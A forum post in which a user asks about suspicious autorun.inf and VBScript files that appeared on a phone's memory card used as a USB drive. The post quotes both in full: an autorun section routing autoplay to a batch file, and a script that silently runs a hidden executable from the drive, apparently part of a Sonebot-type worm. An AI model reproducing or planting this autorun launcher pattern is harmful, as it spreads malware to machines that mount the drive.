Autorun.inf / VBscript - USB drive - virus?

Hey everyone,

I placed this under Windows 7 because I've never found this issue on any other operating system that I've used.

I have a Blackberry 8130 (Pearl) through Alltel, and an 2 GB MicroSD memory card inserted at basically all times with various media on it; documents, videos, tons of music and pictures. Basically, NOTHING, except standalone media.

I use this as a USB drive with a USB cable on my desktop, laptop, and random computers at school, which, whenever restarted, are refreshed and booted from a completely untouched image specifically designed for the college I go to, that erase everything that was put on the hard drive since the computer booted.

My personal computers are clean of viruses, etc. I've used antiviruses, commercial, standard, free, Spybot, Adaware, HijackThis, both before and after TrendMicro bought them out, you name it. Everything's clean, yet I've contracted this autorun.inf and autorun VBscript and they contain the following code:

INF:

[AutoRun]
open=autorun.bat
shellexecute=autorun.bat
shell\Auto\command=autorun.bat
shell\explore\Command=autorun.bat
shell=auto
Action=USB Drive
Label=USB Drive
UseAutoPlay=0

VBscript:

Set objFSO = CreateObject("Scripting.FileSystemObject" )
If objFSO.FileExists("E:\wmiapsrv.exe" ) Then
set WshShell = CreateObject("WScript.Shell" )
WshShell.Run "E:\wmiapsrv.exe"
End If
WSCript.Quit

It confuses me to no end because what I have found in an hour of Google searching/researching is nothing negative other than these autorun files have the potential of being part of a trojan, something named W32/Sonebot-B

http://www.sophos.com/security/ana [...] ebotb.html

And has the possibility of being under a few other names with slightly different abilities.

Are there any ideas?

Thank you in advance!